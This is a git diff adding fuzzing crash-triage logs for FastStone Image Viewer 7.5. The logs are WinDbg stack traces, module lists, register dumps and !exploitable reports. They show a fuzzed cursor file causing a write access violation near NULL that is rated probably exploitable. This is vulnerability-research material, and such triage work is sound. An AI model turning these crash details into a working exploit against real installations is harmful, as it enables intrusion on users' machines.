005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0020a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0020a000 f187a052 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0020a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4332f88 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/50623/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/action_1_Output_Unknown Action 1.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/action_1_Output_Unknown Action 1.cur new file mode 100644 index 0000000..342baa2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/Initial/action_1_Output_Unknown Action 1.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..002b6b5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FFC: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FFC: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ffc.1cf8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f555f0 edx=00000000 esi=00000000 edi=11720fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 1.065350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-0.0814406 -8.43683e-035 2.11172e+007 -625073 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00242000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00242000 17c39c98 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e2 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00242000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..002b6b5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/527/WindowsDebugEngine_description.txt @@ -0,0 +1,190 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FFC: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FFC: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft 